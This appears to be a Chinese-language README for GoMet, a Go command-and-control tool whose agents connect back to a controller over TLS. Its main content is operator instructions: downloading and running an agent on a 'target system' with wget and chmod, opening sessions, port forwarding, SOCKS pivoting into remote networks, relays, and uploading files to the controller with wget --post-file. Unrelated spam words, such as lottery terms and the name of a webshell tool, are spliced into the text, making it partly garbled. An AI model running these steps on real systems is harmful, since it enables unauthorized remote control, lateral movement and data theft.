GoMet是一个Go编写的多平台Agent和控制器。Agent通过TLS隧道与其控制器通信。
安装 Go (https://golang.org/dl/).
克隆存储库
git clone git@github.com:gomet-app/GoMet.git并编译 GoMet
cd GoMet go build ./... go build .启动 GoMet
#> ./gomet ____ __ __ _ / ___| ___ | \/ | ___| |_ | | _ / _ \| |\/| |/ _ \ __| | |_| | (_) | | | | __/ |_ \____|\___/|_| |_|\___|\__| v0.0.1 server > info Local listener: 0.0.0.0:8888 Socks listener: 127.0.0.1:9050 HTTP magic: khRoKbh3AZSHbix server > server > help Commands: clear 清屏 exit 退出 generate 生成一个 agent help 显示帮助信息 info 打印服务器信息 routes 列出 routes sessions 列出 sessions在目标系统上,下载相应操作系统和架构的Agent程序
wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent控制器会自动使用正确的信息来构建 agent。中国菜刀
注意:“khRoKbh3AZSHbix”是由控制器随机生成的,在GoMet CLI中键入“info”以了更多关于它的内容。在本用例中,你必须添加 –no-check-certificate选项,因为默认TLS证书是自动签名的。
可用操作系统(参见 Golang GOOS):
linux darwin windows solaris ...可用架构(参见 Golang GOARCH):
386 amd64 arm arm64 ...启动 agent
chmod +x agent ./agent在 GoMet CLI 中,我们可以看到创建的新会话
server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64我们可以通过 agent TLS tunnel 双向转发 TCP 连接。天空彩
connect
在本地侦听端口(在控制器系统上)并将其转发到远程服务。
listen
在远程侦听端口(在代理系统上)并将其转发到本地服务。
我们可以在控制器上启用 Socks5 listener,以通过 agents 访问远程网络,并定义到不同会话的路由。二四六
如果无法从目标系统访问控制器,我们可以在另一个 agent 上定义“中继”。 然后我们可以像控制器本身一样通过中继访问控制器。
session 1 > relay Remote Address: 0.0.0.0:9999 session 1 >并从目标系统
wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent控制器可以共享文件。
复制共享目录中的文件并使用 magic URL 下载
wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate我们还可以将文件上传到控制器
wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file默认配置文件位于 config/config.json 。
{ "listenAddr":"0.0.0.0:8888", "socks": { "enable": true, "addr": "127.0.0.1:9050" }, "api": { "enable": false, "addr": "127.0.0.1:9000" } }如果我们想通过隧道侦听,我们可以在配置文件中定义它。 实际上只有SSH。
{ "listenAddr":"0.0.0.0:8888", "socks": { "enable": true, "addr": "127.0.0.1:9050" }, "tunnel": { "listenAddr":"<exit_node>:8888", "nodes": [ { "type":"ssh", "host": "<first_node>:22", "username": "user", "password": "user" }, { "type":"ssh", "host": "<second_node>:22", "username": "user", "password": "user" }, { "type":"ssh", "host": "<exit_node>:22", "username": "user", "password": "user" } ] } }在 config 目录中会生成一个默认证书,但你也可以用你自己的证书来替换它。
注意:一旦更改了默认证书,则将重建所有 agents,因为证书的哈希值不同。